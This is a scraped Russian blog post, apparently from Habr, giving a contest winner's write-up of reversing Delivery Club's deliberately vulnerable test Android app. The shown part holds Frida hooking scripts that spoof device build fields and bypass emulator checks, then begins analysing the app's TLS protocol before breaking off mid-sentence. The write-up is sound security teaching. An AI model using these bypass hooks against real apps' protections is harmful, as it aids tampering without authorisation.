{"id":403974,"date":"2024-06-29T17:26:13","date_gmt":"2024-06-29T17:26:13","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=403974"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2024-06-29T17:26:13","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=403974","title":{"rendered":"<span>\u0420\u0435\u0432\u0435\u0440\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043e\u0442 Delivery Club: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a5a\/712\/ee7\/a5a712ee79ba197574b678af38cf2ab9.png\" width=\"1920\" height=\"1080\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a5a\/712\/ee7\/a5a712ee79ba197574b678af38cf2ab9.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041f\u0440\u0438\u0432\u0435\u0442! \u041c\u0435\u043d\u044f \u0437\u043e\u0432\u0443\u0442 \u0418\u043b\u044c\u044f \u0421\u0430\u0444\u0440\u043e\u043d\u043e\u0432, \u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0436\u0443 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Delivery Club. \u0422\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u0434\u043d\u044f \u043c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 <a href=\"https:\/\/habr.com\/ru\/company\/deliveryclub\/news\/t\/583554\/\">\u043a\u043e\u043d\u043a\u0443\u0440\u0441<\/a> \u043f\u043e \u0440\u0435\u0432\u0435\u0440\u0441\u0443 \u0438 \u043f\u043e\u0438\u0441\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c Android-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438. \u0426\u0435\u043b\u044c\u044e \u0431\u044b\u043b\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043d\u0430 \u0431\u044d\u043a\u0435\u043d\u0434\u0435 (RCE). \u0417\u0430 \u0432\u0440\u0435\u043c\u044f \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430 APK \u0441\u043a\u0430\u0447\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 400 \u0440\u0430\u0437, \u0430 \u0441\u043b\u043e\u043c\u0430\u043b\u0438 \u0432\u0441\u0435\u0433\u043e \u0434\u0432\u0430 \u0440\u0430\u0437\u0430, Hall of Fame \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0432 \u0447\u0451\u043c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0437\u0430\u0434\u0430\u0447\u0430 \u0438 \u043a\u0430\u043a \u0435\u0451 \u0440\u0435\u0448\u0430\u0442\u044c. \u041e\u0434\u0438\u043d \u0438\u0437 \u043f\u043e\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u2014 <a href=\"https:\/\/habr.com\/ru\/users\/D3fl4t3\/\">@D3fl4t3<\/a> \u2014 \u043f\u0440\u0438\u0441\u043b\u0430\u043b \u043d\u0430\u043c \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442, \u0435\u0433\u043e \u043c\u044b \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0432\u0430\u0448\u0435\u043c\u0443 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044e.<\/p>\n<h3>\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u043e\u0441\u043c\u043e\u0442\u0440 <\/h3>\n<p>\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 Android-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0432 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0436\u0430\u0442\u044c \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0443, \u043d\u043e \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u044b\u043b\u0435\u0442\u0430\u0435\u0442. \u0412\u043d\u0443\u0442\u0440\u0438 Java-\u0447\u0430\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0442\u043e\u0436\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e: \u043a\u043d\u043e\u043f\u043a\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 <code>collectMetrics<\/code> \u0438 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043e\u0434\u043d\u043e \u0438\u0437 \u0434\u0432\u0443\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439.<\/p>\n<h3>\u041d\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430<\/h3>\n<p>\u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c\u0438 Control Flow Flattening, Opaque Predicate \u0438 \u043c\u043d\u043e\u0433\u0438\u043c\u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438. \u0418\u0434\u0451\u043c \u0432 <code>JNI_OnLoad<\/code>, \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0442\u0438\u043f <code>JNIEnv<\/code>* \u0432\u0435\u0437\u0434\u0435, \u0433\u0434\u0435 \u0435\u0441\u0442\u044c <code>indirect call'\u044b<\/code>. \u0418\u0437 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u0442\u0430\u043c \u0435\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e RegisterNatives, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0434\u0451\u043c \u0441\u0440\u0430\u0437\u0443 \u0432 <code>collectMetrics<\/code>. \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0442\u0430\u043c \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440, \u043d\u043e \u0433\u0434\u0435 \u0436\u0435 \u043e\u043d\u0438?  <\/p>\n<h3>\u0418\u0449\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f<\/h3>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/96b\/f2f\/581\/96bf2f58122d07f6e016765ca9fa7201.png\" width=\"579\" height=\"482\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/96b\/f2f\/581\/96bf2f58122d07f6e016765ca9fa7201.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0414\u0430, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e \u044d\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440. \u0422\u0430\u043a \u043a\u0430\u043a \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0430 \u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0442\u043e\u0440 \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u043d\u0435 \u0445\u043e\u0447\u0435\u0442\u0441\u044f, \u043d\u0430\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0434\u043b\u044f DBI-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Frida:<\/p>\n<pre><code class=\"java\">var hooked = false;  Java.perform(function() { let MainActivity_a = Java.use(\"com.example.dc_challenge.MainActivity$a\"); MainActivity_a.onClick.implementation = function (view) {     if (!hooked) {         disarmBuildChecks();         hooked = true;     }     this.onClick(view); } });  function disarmBuildChecks() { var config = {     BOARD: \"prada\",     BOOTLOADER: \"unknown\",     BRAND: \"Xiaomi\",     DEVICE: \"prada\",     DISPLAY: \"MMB29M\",     FINGERPRINT: \"Xiaomi\/prada\/prada:6.0.1\/MMB29M\/v8.0.3.0.0.MCECNDG:user\/release-keys\",     HARDWARE: \"qcom\",     HOST: \"c3-miui-ota-bd20\",     ID: \"MMB29M\",     MANUFACTURER: \"Xiaomi\",     MODEL: \"Redmi 4\",     PRODUCT: \"prada\",     RADIO: \"unknown\",     SERIAL: \"17fc681d\",     TAGS: \"release-keys\",     TIME: 1476359370000,     TYPE: \"user\",     USER: \"builder\", };  var Build = Java.use('android.os.Build');  Object.keys(config).map(function (key) {     Build[key].value = config[key]; }); }<\/code><\/pre>\n<p>\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043d\u0430\u0436\u0430\u0442\u044c \u043a\u043d\u043e\u043f\u043a\u0443 \u043f\u043e\u0434 \u0444\u0440\u0438\u0434\u043e\u0439 \u2014 \u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u0430\u0434\u0435\u043d\u0438\u0435. \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 <code>build<\/code>-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041a\u043e\u043f\u0430\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435.<\/p>\n<p>\u0412 \u0441\u043f\u0438\u0441\u043a\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 \u043d\u0443 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c\u0438 \u0432\u0438\u0434\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0438\u0437 \u043d\u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/230\/37a\/f8e\/23037af8eadae12807509e6c01cb2d48.png\" width=\"756\" height=\"380\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/230\/37a\/f8e\/23037af8eadae12807509e6c01cb2d48.png\"\/><figcaption><\/figcaption><\/figure>\n<p> \u041f\u0438\u0448\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438:   <\/p>\n<pre><code class=\"javascript\">function hook(name, count) {       Interceptor.attach(Module.findExportByName(\u00ablibc.so\u00bb, name), { \u00a0\u00a0\u00a0\u00a0    onEnter: function(args) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let arg = []; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    for (var i = 0; i &lt; count; i++){ \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    try { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    arg.push(Memory.readCString(args[i])); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } catch (e) {} \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    if (bt.moduleName.indexOf(\u00ablibchallenge.so\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    console.log(name + '(\u00bb' + arg.join('\u00bb, \u00ab') + '\u00bb) ' + bt); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0    }     });  }  <\/code><\/pre>\n<p>\u0418 \u0442\u0440\u0435\u0439\u0441\u0438\u043c \u0432\u0441\u0451, \u0447\u0442\u043e \u043d\u0430\u0448\u043b\u0438 \u0432 \u0438\u043c\u043f\u043e\u0440\u0442\u0430\u0445:<\/p>\n<pre><code class=\"javascript\"> function makeHooks() {       hook(\u00abstrcmp\u00bb, 2);     hook(\u00abstrncmp\u00bb, 2);     hook(\u00abstrncpy\u00bb, 2);     hook(\u00abstrcat\u00bb, 2);     hook(\u00abstrchr\u00bb, 1);     hook(\u00abstrcspn\u00bb, 2);     hook(\u00abstrcpy\u00bb, 2);     hook(\u00abstrlen\u00bb, 1);     hook(\u00abstrcasecmp\u00bb, 2);     hook(\u00absnprintf\u00bb, 8);     hook(\u00abstrdup\u00bb, 1);     hook(\u00abstrncasecmp\u00bb, 2);     hook(\u00abstrrchr\u00bb, 1);     hook(\u00abstrspn\u00bb, 2);     hook(\u00abstrstr\u00bb, 2);     hook(\u00abstrtol\u00bb, 1);     hook(\u00abstrtoul\u00bb, 1);  }  <\/code><\/pre>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>sprintf<\/code>, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0432 \u043f\u0430\u043f\u043a\u0435 <em>\/proc\/self\/fd<\/em>:<\/p>\n<pre><code>snprintf(\"\", \"\/proc\/self\/fd\/%s\", \".\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  snprintf(\"\", \"\/proc\/self\/fd\/%s\", \"..\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  snprintf(\"\", \"\/proc\/self\/fd\/%s\", \"0\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  snprintf(\"\", \"\/proc\/self\/fd\/%s\", \"1\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  snprintf(\"\", \"\/proc\/self\/fd\/%s\", \"2\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  <\/code><\/pre>\n<p>\u041c\u043e\u0433\u0443\u0442 \u043b\u0438 \u044d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0448 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440? \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c:<\/p>\n<pre><code>generic_x86_64:\/ # ls -la \/proc\/$(pidof  com.example.dc_challenge)\/fd total 0 dr-x------ 2 u0_a130 u0_a130  0 2021-10-16 16:59 . dr-xr-xr-x 9 u0_a130 u0_a130  0 2021-10-16 16:59 .. lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 0 -> \/dev\/null lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 1 -> \/dev\/null lr-x------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 10 -> \/apex\/com.android.art\/javalib\/bouncycastle.jar ... lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 62 -> \/dev\/goldfish_pipe lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 63 -> \/dev\/goldfish_sync lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 65 -> \/dev\/goldfish_pipe <\/code><\/pre>\n<p>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e, \u0444\u0430\u0439\u043b\u044b \u0441 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c &#171;goldfish&#187; \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0443, \u0442\u0430\u043a \u0447\u0442\u043e \u043d\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0438\u0445 \u0438 \u043a\u0440\u0430\u0448\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0412\u043e\u0437\u0438\u0442\u044c\u0441\u044f \u0441 \u0445\u0443\u043a\u043e\u043c <code>snprintf<\/code> \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0445\u043e\u0447\u0435\u0442\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 <code>0x96ee5<\/code> \u0432 IDA Pro \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0435\u0449\u0451 \u043c\u043e\u0436\u043d\u043e \u0445\u0443\u043a\u043d\u0443\u0442\u044c.<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a89\/28a\/c40\/a8928ac4039f03ffa84eba6218378414.png\" width=\"460\" height=\"129\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a89\/28a\/c40\/a8928ac4039f03ffa84eba6218378414.png\"\/><figcaption><\/figcaption><\/figure>\n<p> \u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>lstat<\/code> \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u043c \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u043e\u043c \u043d\u0430 \u0445\u0443\u043a:  <\/p>\n<pre><code class=\"javascript\">function disarmGoldfishCheck() {       Interceptor.attach(Module.findExportByName(\u00ablibc.so\u00bb, \u00ablstat\u00bb), { \u00a0\u00a0\u00a0\u00a0    onEnter: function (args) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    if (bt.moduleName.indexOf(\u00ablibchallenge.so\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let filename = Memory.readCString(args[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    console.log(\u00ablstat(\u00bb + filename + \u00ab)\u00bb); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    if (filename.indexOf(\u00bb\/proc\/self\/fd\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    args[0].writeU8(0); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0    }     });  }  <\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u0441\u0451 \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0441\u0442\u0430\u043b\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0438 \u043a\u043d\u043e\u043f\u043a\u0430 \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e \u043c\u044b \u0432\u0441\u0451 \u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e.<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3c5\/df2\/182\/3c5df2182a19002ac7c458510d776442.png\" width=\"250\" height=\"356\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3c5\/df2\/182\/3c5df2182a19002ac7c458510d776442.png\"\/><figcaption><\/figcaption><\/figure>\n<h3>\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b<\/h3>\n<p>\u0412 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u044f\u0432\u043d\u043e \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u043a\u0438\u0439 \u0431\u044d\u043a\u0435\u043d\u0434, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438\u0437 OpenSSL \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435. \u041f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044f \u0438\u043c\u0435\u043d\u0430 \u043e\u0434\u0438\u043d \u0437\u0430 \u043e\u0434\u043d\u0438\u043c, \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0443\u043f\u0430\u043b \u043d\u0430 <code>SSL_write<\/code>. \u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f, \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0442\u043e-\u0442\u043e \u043f\u0438\u0441\u0430\u0442\u044c \u043f\u043e TLS, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>0x92a70<\/code> (<em>\u0432\u0441\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u0434\u043b\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b x86_64<\/em>). \u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u043e\u0432\u0441\u0435\u043c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u044b, \u0441\u0443\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u044f\u0441\u043d\u0430 \u0434\u0430\u0436\u0435 \u0441 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c Control Flow: \u043e\u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 payload \u043f\u043e TLS \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f.  <\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/980\/113\/3a8\/9801133a8f050c76b3020f6beea86fa7.png\" width=\"420\" height=\"409\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/980\/113\/3a8\/9801133a8f050c76b3020f6beea86fa7.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0414\u0430\u043b\u044c\u0448\u0435 \u0434\u0435\u043b\u0430\u0435\u043c \u0432\u0441\u0451 \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, 